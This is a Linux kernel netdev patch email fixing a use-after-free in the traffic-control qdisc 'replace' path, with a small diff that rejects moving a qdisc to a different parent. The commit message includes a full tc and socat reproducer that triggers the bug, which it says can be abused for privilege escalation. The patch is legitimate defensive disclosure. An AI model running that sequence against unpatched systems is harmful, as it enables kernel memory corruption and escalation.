From patchwork Thu Jan 16 01:37:13 2025 Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit X-Patchwork-Submitter: Jakub Kicinski X-Patchwork-Id: 13941140 X-Patchwork-Delegate: kuba@kernel.org Received: from smtp.kernel.org (aws-us-west-2-korg-mail-1.web.codeaurora.org [10.30.226.201]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by smtp.subspace.kernel.org (Postfix) with ESMTPS id EF73929A1 for ; Thu, 16 Jan 2025 01:37:17 +0000 (UTC) Authentication-Results: smtp.subspace.kernel.org; arc=none smtp.client-ip=10.30.226.201 ARC-Seal: i=1; a=rsa-sha256; d=subspace.kernel.org; s=arc-20240116; t=1736991438; cv=none; b=mcr9x5FZasHryXPl8G2F4AbbVxW04lDKUwGpKioR5OUSa5XJbDFiPtfcCmOz2yR+EH6eNBc3C+zgtJWgN0Ux3O1+6q75mWQeKbDmEmytqKU8a+C5OsfUB6f07AfxySAsnx+JrI38MNPQsMTFx7m3JEMBZ76khr/3jGgOVogpRc8= ARC-Message-Signature: i=1; a=rsa-sha256; d=subspace.kernel.org; s=arc-20240116; t=1736991438; c=relaxed/simple; bh=SWAX39jPdx7bKPd8w+uodnCBl6x/S/Oa6E9Z6hq0SdQ=; h=From:To:Cc:Subject:Date:Message-ID:MIME-Version; b=ZLi21TgZE7HsIOfOWeD0YFKD7aKQyedSf7ai8R/MHMWJNxsT6Rtie6Eyt/A9bmVMBgdr+nzCeTBiFEhFsB87vGa980W+6+PTqtT90SwIXph4GIMPiGVxfrskwYZk7Mu/WiUznddWq7DrvMIA4N0k7pxP7/sxhQh9ZMZ7bCRcL7k= ARC-Authentication-Results: i=1; smtp.subspace.kernel.org; dkim=pass (2048-bit key) header.d=kernel.org header.i=@kernel.org header.b=fqKZIda0; arc=none smtp.client-ip=10.30.226.201 Authentication-Results: smtp.subspace.kernel.org; dkim=pass (2048-bit key) header.d=kernel.org header.i=@kernel.org header.b="fqKZIda0" Received: by smtp.kernel.org (Postfix) with ESMTPSA id A02BCC4CED1; Thu, 16 Jan 2025 01:37:16 +0000 (UTC) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=kernel.org; s=k20201202; t=1736991437; bh=SWAX39jPdx7bKPd8w+uodnCBl6x/S/Oa6E9Z6hq0SdQ=; h=From:To:Cc:Subject:Date:From; b=fqKZIda0GqnkNfWiHU24Z8wWfQtGt1wEaaWo/tQq/eFWFtTtUGULtnr+Xb6TBFPRy r0RGqcwv1IQ9NxEHG0x0MhcgiUUI3b/SWOSPdXaKi4TjpGrTuZmsenTVtZGHacp2HA vX0N85Y4v8SwJ1Iix+xUGDJWAIulY79p15urv2yXO+XPpAOAj5P4pMPuyyqE+9wmTm kcmWv6q0HZ28+9IA758LX3e1/Vdyzl8F3l8s2fiNGaBwsumSXDM1c3jQCl9Hdh5BOU RG/CECDflIALSzpaO/UU1nyf1dEMRbysIuAfXHlGUe5vCVoZoLqqiCkethFJmfynwT 5o45MB2ZaEqYQ== From: Jakub Kicinski To: davem@davemloft.net Cc: netdev@vger.kernel.org, edumazet@google.com, pabeni@redhat.com, andrew+netdev@lunn.ch, horms@kernel.org, Jamal Hadi Salim , Jakub Kicinski , xiyou.wangcong@gmail.com, jiri@resnulli.us Subject: [PATCH net v4] net: sched: Disallow replacing of child qdisc from one parent to another Date: Wed, 15 Jan 2025 17:37:13 -0800 Message-ID: <20250116013713.900000-1-kuba@kernel.org> X-Mailer: git-send-email 2.48.0 Precedence: bulk X-Mailing-List: netdev@vger.kernel.org List-Id: List-Subscribe: List-Unsubscribe: MIME-Version: 1.0 X-Patchwork-Delegate: kuba@kernel.org From: Jamal Hadi Salim Lion Ackermann was able to create a UAF which can be abused for privilege escalation with the following script Step 1. create root qdisc tc qdisc add dev lo root handle 1:0 drr step2. a class for packet aggregation do demonstrate uaf tc class add dev lo classid 1:1 drr step3. a class for nesting tc class add dev lo classid 1:2 drr step4. a class to graft qdisc to tc class add dev lo classid 1:3 drr step5. tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024 step6. tc qdisc add dev lo parent 1:2 handle 3:0 drr step7. tc class add dev lo classid 3:1 drr step 8. tc qdisc add dev lo parent 3:1 handle 4:0 pfifo step 9. Display the class/qdisc layout tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 limit 1000p qdisc drr 3: dev lo parent 1:2 step10. trigger the bug <=== prevented by this patch tc qdisc replace dev lo parent 1:3 handle 4:0 step 11. Redisplay again the qdiscs/classes tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 1:3 root leaf 4: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p qdisc drr 3: dev lo parent 1:2 Observe that a) parent for 4:0 does not change despite the replace request. There can only be one parent. b) refcount has gone up by two for 4:0 and c) both class 1:3 and 3:1 are pointing to it. Step 12. send one packet to plug echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001)) step13. send one packet to the grafted fifo echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003)) step14. lets trigger the uaf tc class delete dev lo classid 1:3 tc class delete dev lo classid 1:1 The semantics of "replace" is for a del/add _on the same node_ and not a delete from one node(3:1) and add to another node (1:3) as in step10. While we could "fix" with a more complex approach there could be consequences to expectations so the patch takes the preventive approach of "disallow such config". Joint work with Lion Ackermann Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2") Signed-off-by: Jamal Hadi Salim Signed-off-by: Jakub Kicinski --- v4: - compare the parent directly from metadata, rather than lookup result v3: https://lore.kernel.org/20250111151455.75480-1-jhs@mojatatu.com CC: jhs@mojatatu.com CC: xiyou.wangcong@gmail.com CC: jiri@resnulli.us --- net/sched/sch_api.c | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/net/sched/sch_api.c b/net/sched/sch_api.c index 300430b8c4d2..fac9c946a4c7 100644 --- a/net/sched/sch_api.c +++ b/net/sched/sch_api.c @@ -1664,6 +1664,10 @@ static int tc_modify_qdisc(struct sk_buff *skb, struct nlmsghdr *n, q = qdisc_lookup(dev, tcm->tcm_handle); if (!q) goto create_n_graft; + if (q->parent != tcm->tcm_parent) { + NL_SET_ERR_MSG(extack, "Cannot move an existing qdisc to a different parent"); + return -EINVAL; + } if (n->nlmsg_flags & NLM_F_EXCL) { NL_SET_ERR_MSG(extack, "Exclusivity flag on, cannot override"); return -EEXIST;